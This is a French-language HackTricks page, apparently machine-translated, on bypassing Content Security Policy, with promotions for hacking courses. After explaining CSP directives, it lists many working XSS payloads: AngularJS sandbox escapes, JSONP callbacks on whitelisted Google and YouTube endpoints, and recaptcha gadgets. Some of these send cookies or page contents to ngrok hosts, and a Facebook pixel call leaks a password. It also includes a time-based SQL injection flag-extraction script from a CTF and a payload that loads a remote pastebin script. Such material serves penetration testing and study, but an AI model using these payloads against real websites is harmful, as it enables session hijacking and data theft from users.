50 KiB
Contournement de la Politique de Sécurité du Contenu (CSP)
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.
Rejoignez le serveur Discord HackenProof pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Aperçus de Hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
Dernières Annonces
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Qu'est-ce que CSP
La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à protéger contre des attaques telles que le cross-site scripting (XSS). Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (soi), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme eval
, setTimeout
ou setInterval
.
La mise en œuvre de CSP se fait par le biais des en-têtes de réponse ou en incorporant des éléments meta dans la page HTML. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
- Mis en œuvre via l'en-tête de réponse :
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implémenté via une balise meta :
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP peut être appliqué ou surveillé à l'aide de ces en-têtes :
Content-Security-Policy
: Applique le CSP ; le navigateur bloque toute violation.Content-Security-Policy-Report-Only
: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production.
Defining Resources
CSP restreint les origines pour le chargement de contenu actif et passif, contrôlant des aspects comme l'exécution de JavaScript en ligne et l'utilisation de eval()
. Un exemple de politique est :
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directives
- script-src: Permet des sources spécifiques pour JavaScript, y compris les URL, les scripts en ligne et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
- default-src: Définit une politique par défaut pour le chargement des ressources lorsque des directives de récupération spécifiques sont absentes.
- child-src: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés.
- connect-src: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest.
- frame-src: Restreint les URL pour les cadres.
- frame-ancestors: Spécifie quelles sources peuvent intégrer la page actuelle, applicable à des éléments comme
<frame>
,<iframe>
,<object>
,<embed>
, et<applet>
. - img-src: Définit les sources autorisées pour les images.
- font-src: Spécifie les sources valides pour les polices chargées en utilisant
@font-face
. - manifest-src: Définit les sources autorisées des fichiers de manifeste d'application.
- media-src: Définit les sources autorisées pour le chargement des objets multimédias.
- object-src: Définit les sources autorisées pour les éléments
<object>
,<embed>
, et<applet>
. - base-uri: Spécifie les URL autorisées pour le chargement en utilisant des éléments
<base>
. - form-action: Liste les points de terminaison valides pour les soumissions de formulaires.
- plugin-types: Restreint les types MIME qu'une page peut invoquer.
- upgrade-insecure-requests: Instruits les navigateurs à réécrire les URL HTTP en HTTPS.
- sandbox: Applique des restrictions similaires à l'attribut sandbox d'un
<iframe>
. - report-to: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
- worker-src: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
- prefetch-src: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
- navigate-to: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, formulaire, window.location, window.open, etc.)
Sources
*
: Permet toutes les URL sauf celles avec les schémasdata:
,blob:
,filesystem:
.'self'
: Permet le chargement depuis le même domaine.'data'
: Permet le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).'none'
: Bloque le chargement depuis toute source.'unsafe-eval'
: Permet l'utilisation deeval()
et de méthodes similaires, non recommandé pour des raisons de sécurité.'unsafe-hashes'
: Active des gestionnaires d'événements en ligne spécifiques.'unsafe-inline'
: Permet l'utilisation de ressources en ligne comme<script>
ou<style>
en ligne, non recommandé pour des raisons de sécurité.'nonce'
: Une liste blanche pour des scripts en ligne spécifiques utilisant un nonce cryptographique (nombre utilisé une fois).- Si vous avez une exécution JS limitée, il est possible d'obtenir un nonce utilisé à l'intérieur de la page avec
doc.defaultView.top.document.querySelector("[nonce]")
et ensuite de le réutiliser pour charger un script malveillant (si strict-dynamic est utilisé, toute source autorisée peut charger de nouvelles sources donc cela n'est pas nécessaire), comme dans :
Charger un script en réutilisant le nonce
```html ```'sha256-<hash>'
: Met en liste blanche les scripts avec un hachage sha256 spécifique.'strict-dynamic'
: Permet de charger des scripts de n'importe quelle source s'ils ont été mis en liste blanche par un nonce ou un hachage.'host'
: Spécifie un hôte spécifique, commeexample.com
.https:
: Restreint les URL à celles qui utilisent HTTPS.blob:
: Permet de charger des ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript).filesystem:
: Permet de charger des ressources à partir du système de fichiers.'report-sample'
: Inclut un échantillon du code violant dans le rapport de violation (utile pour le débogage).'strict-origin'
: Semblable à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).'strict-origin-when-cross-origin'
: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin.'unsafe-allow-redirects'
: Permet de charger des ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
Règles CSP non sécurisées
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Payload fonctionnel : "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} Cela ne fonctionne pas, pour plus d'infos vérifiez ceci. {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Chargement utile fonctionnel :
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un code JS autorisé crée une nouvelle balise script dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la nouvelle balise script sera autorisée à être exécutée.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Charge utile fonctionnelle :
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Manque de object-src et default-src
{% hint style="danger" %} Il semble que cela ne fonctionne plus {% endhint %}
Content-Security-Policy: script-src 'self' ;
Payloads fonctionnels :
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Téléchargement de fichiers + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :
Payload fonctionnel :
"/>'><script src="/uploads/picture.png.js"></script>
Cependant, il est très probable que le serveur valide le fichier téléchargé et n'autorise que le téléchargement de types de fichiers déterminés.
De plus, même si vous pouviez télécharger un code JS à l'intérieur d'un fichier avec une extension acceptée par le serveur (comme : script.png), cela ne suffira pas car certains serveurs comme le serveur apache sélectionnent le type MIME du fichier en fonction de l'extension et des navigateurs comme Chrome refuseront d'exécuter le code Javascript à l'intérieur de quelque chose qui devrait être une image. "Espérons-le", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que Apache ne connaît pas l'extension .wave, donc il ne la sert pas avec un type MIME comme audio/*.
À partir de là, si vous trouvez un XSS et un téléchargement de fichier, et que vous parvenez à trouver une extension mal interprétée, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglot (quelques exemples de polyglots ici).
Form-action
S'il n'est pas possible d'injecter du JS, vous pourriez toujours essayer d'exfiltrer par exemple des identifiants en injectant une action de formulaire (et peut-être en espérant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un exemple dans ce rapport. De plus, notez que default-src
ne couvre pas les actions de formulaire.
Points de terminaison tiers + ('unsafe-eval')
{% hint style="warning" %}
Pour certains des payloads suivants, unsafe-eval
n'est même pas nécessaire.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Charger une version vulnérable d'angular et exécuter du JS arbitraire :
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet window
(consultez ce post) :
{% hint style="info" %}
Le post montre que vous pourriez charger toutes les bibliothèques depuis cdn.cloudflare.com
(ou tout autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier quelles fonctions de quelles bibliothèques retournent l'objet window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS à partir d'un nom de classe :
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Abuser du code JS de google recaptcha
Selon ce rapport CTF, vous pouvez abuser de https://www.google.com/recaptcha/ à l'intérieur d'un CSP pour exécuter du code JS arbitraire en contournant le CSP :
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Plus de charges utiles de cet article :
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Abus de www.google.com pour redirection ouverte
L'URL suivante redirige vers example.com (depuis ici):
https://www.google.com/amp/s/example.com/
Abus de *.google.com/script.google.com
Il est possible d'abuser de Google Apps Script pour recevoir des informations dans une page à l'intérieur de script.google.com. Comme c'est fait dans ce rapport.
Points de terminaison tiers + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Des scénarios comme celui-ci où script-src
est défini sur self
et un domaine particulier qui est sur liste blanche peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'effectuer XSS, charge utile fonctionnelle :
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee contient des points de terminaison JSONP prêts à l'emploi pour contourner le CSP de différents sites web.
La même vulnérabilité se produira si le point de terminaison de confiance contient une redirection ouverte car si le point de terminaison initial est de confiance, les redirections sont de confiance.
Abus de tiers
Comme décrit dans le post suivant, il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans le CSP, pouvant être abusés pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :
Entité | Domaine Autorisé | Capacités |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Si vous trouvez l'un des domaines autorisés dans le CSP de votre cible, il y a des chances que vous puissiez contourner le CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
Par exemple, si vous trouvez le CSP suivant :
Content-Security-Policy: default-src 'self’ www.facebook.com;
ou
Content-Security-Policy: connect-src www.facebook.com;
Vous devriez être en mesure d'exfiltrer des données, de la même manière que cela a toujours été fait avec Google Analytics/Google Tag Manager. Dans ce cas, vous suivez ces étapes générales :
- Créez un compte développeur Facebook ici.
- Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
- Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
- Sur le site cible dont vous souhaitez exfiltrer les données, vous pouvez exfiltrer des données en utilisant directement le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
- Allez dans "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements pourrait être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook pour pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
En ce qui concerne les sept autres domaines tiers spécifiés dans le tableau précédent, il existe de nombreuses autres façons de les abuser. Référez-vous au post de blog précédent pour des explications supplémentaires sur d'autres abus tiers.
Bypass via RPO (Relative Path Overwrite)
En plus de la redirection mentionnée précédemment pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si le CSP autorise le chemin https://example.com/scripts/react/
, il peut être contourné comme suit :
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Le navigateur chargera finalement https://example.com/scripts/angular/angular.js
.
Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé ..%2fangular%2fangular.js
situé sous https://example.com/scripts/react/
, ce qui est conforme au CSP.
∑, ils le décoderont, demandant effectivement https://example.com/scripts/react/../angular/angular.js
, ce qui est équivalent à https://example.com/scripts/angular/angular.js
.
En exploité cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées.
La solution consiste à ne pas traiter %2f
comme /
côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne : https://jsbin.com/werevijewa/edit?html,output
Exécution JS dans les Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
base-uri manquant
Si la directive base-uri est manquante, vous pouvez en abuser pour effectuer une injection de balisage pendante.
De plus, si la page charge un script en utilisant un chemin relatif (comme <script src="/js/app.js">
) en utilisant un Nonce, vous pouvez abuser de la balise base pour faire charger le script depuis votre propre serveur, réalisant ainsi un XSS.
Si la page vulnérable est chargée avec httpS, utilisez une URL httpS dans la base.
<base href="https://www.attacker.com/">
Événements AngularJS
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique $event
, faisant référence à l'objet d'événement natif du navigateur. Cet objet $event
peut être exploité pour contourner le CSP. Notamment, dans Chrome, l'objet $event/event
possède un attribut path
, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, avec l'objet window
invariablement positionné à la fin. Cette structure est essentielle pour les tactiques d'évasion de sandbox.
En dirigeant ce tableau vers le filtre orderBy
, il est possible de l'itérer, en utilisant l'élément terminal (l'objet window
) pour déclencher une fonction globale comme alert()
. L'extrait de code démontré ci-dessous illustre ce processus :
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Ce snippet met en évidence l'utilisation de la directive ng-focus
pour déclencher l'événement, en utilisant $event.path|orderBy
pour manipuler le tableau path
, et en tirant parti de l'objet window
pour exécuter la fonction alert()
, révélant ainsi document.cookie
.
Trouvez d'autres contournements Angular dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS et domaine sur liste blanche
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Une politique CSP qui autorise des domaines pour le chargement de scripts dans une application Angular JS peut être contournée par l'invocation de fonctions de rappel et certaines classes vulnérables. Des informations supplémentaires sur cette technique peuvent être trouvées dans un guide détaillé disponible sur ce git repository.
Payloads fonctionnels :
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
D'autres points de terminaison d'exécution arbitraire JSONP peuvent être trouvés ici (certains d'entre eux ont été supprimés ou corrigés)
Contournement via Redirection
Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène à une origine différente qui n'est pas autorisée, elle échouera toujours.
Cependant, selon la description dans CSP spec 4.2.2.3. Paths and Redirects, si la redirection mène à un chemin différent, elle peut contourner les restrictions d'origine.
Voici un exemple :
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Si CSP est défini sur https://www.google.com/a/b/c/d
, puisque le chemin est pris en compte, les scripts /test
et /a/test
seront bloqués par CSP.
Cependant, le http://localhost:5555/301
final sera redirigé côté serveur vers https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Étant donné qu'il s'agit d'une redirection, le chemin n'est pas pris en compte, et le script peut être chargé, contournant ainsi la restriction de chemin.
Avec cette redirection, même si le chemin est spécifié complètement, il sera toujours contourné.
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
Contourner CSP avec du balisage pendu
Lisez comment ici.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et img-src *
signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient un SQLi, et extrait le drapeau via une image) :
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Vous pourriez également abuser de cette configuration pour charger du code javascript inséré dans une image. Si, par exemple, la page permet de charger des images depuis Twitter. Vous pourriez créer une image spéciale, la télécharger sur Twitter et abuser de l'"unsafe-inline" pour exécuter un code JS (comme un XSS classique) qui va charger l'image, extraire le JS de celle-ci et l'exécuter : https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Avec les Service Workers
La fonction importScripts
des service workers n'est pas limitée par CSP :
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Injection de Politique
Recherche : https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Si un paramètre envoyé par vous est collé à l'intérieur de la déclaration de la politique, alors vous pourriez modifier la politique d'une manière qui la rend inutile. Vous pourriez autoriser le script 'unsafe-inline' avec l'un de ces contournements :
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Parce que cette directive va écraser les directives script-src existantes.
Vous pouvez trouver un exemple ici : http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : ;_
Edge va supprimer l'entière politique.
Exemple : http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Attaque temporelle
Remarquez l'absence de la directive 'unsafe-inline'
Cette fois, vous pouvez faire en sorte que la victime charge une page sous votre contrôle via XSS avec un <iframe
. Cette fois, vous allez faire en sorte que la victime accède à la page d'où vous souhaitez extraire des informations (CSRF). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez contrôler le temps que la page met à charger, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, un drapeau va être extrait, chaque fois qu'un caractère est correctement deviné via SQLi, la réponse prend plus de temps en raison de la fonction sleep. Ensuite, vous pourrez extraire le drapeau :
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Via Bookmarklets
Cette attaque impliquerait une ingénierie sociale où l'attaquant convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur. Ce bookmarklet contiendrait du code javascript malveillant qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, bypassant CSP et permettant de voler des informations sensibles telles que des cookies ou des tokens.
Pour plus d'informations consultez le rapport original ici.
Bypass CSP en restreignant CSP
Dans ce rapport CTF, CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via prototype pollution ou dom clobbering, permettait de profiter d'un script différent pour charger un script arbitraire.
Vous pouvez restreindre un CSP d'un Iframe avec l'attribut csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
Dans ce rapport CTF, il a été possible via HTML injection de restreindre davantage un CSP afin qu'un script empêchant le CSTI soit désactivé et donc la vulnérabilité est devenue exploitable.
Le CSP peut être rendu plus restrictif en utilisant HTML meta tags et les scripts en ligne peuvent désactiver la suppression de l'entrée permettant leur nonce et activer des scripts en ligne spécifiques via sha :
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
JS exfiltration with Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête Content-Security-Policy-Report-Only
avec une valeur contrôlée par vous (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous enveloppez le contenu JS que vous souhaitez exfiltrer avec <script>
et parce que unsafe-inline
n'est probablement pas autorisé par le CSP, cela déclenchera une erreur CSP et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis Content-Security-Policy-Report-Only
.
Pour un exemple vérifiez ce CTF writeup.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Fuite d'Informations avec CSP et Iframe
- Un
iframe
est créé qui pointe vers une URL (appelons-lahttps://example.redirect.com
) qui est autorisée par CSP. - Cette URL redirige ensuite vers une URL secrète (par exemple,
https://usersecret.example2.com
) qui n'est pas autorisée par CSP. - En écoutant l'événement
securitypolicyviolation
, on peut capturer la propriétéblockedURI
. Cette propriété révèle le domaine de l'URI bloquée, fuyant le domaine secret vers lequel l'URL initiale a redirigé.
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite d'informations sensibles en raison d'un comportement indéfini.
Une autre technique consiste à exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester itérativement différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode :
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
En surveillant quelles requêtes sont bloquées ou autorisées par le CSP, on peut réduire les caractères possibles dans le sous-domaine secret, découvrant finalement l'URL complète.
Les deux méthodes exploitent les nuances de l'implémentation et du comportement du CSP dans les navigateurs, démontrant comment des politiques apparemment sécurisées peuvent involontairement leak des informations sensibles.
Trick from here.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Hacking Insights
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
Real-Time Hack News
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel
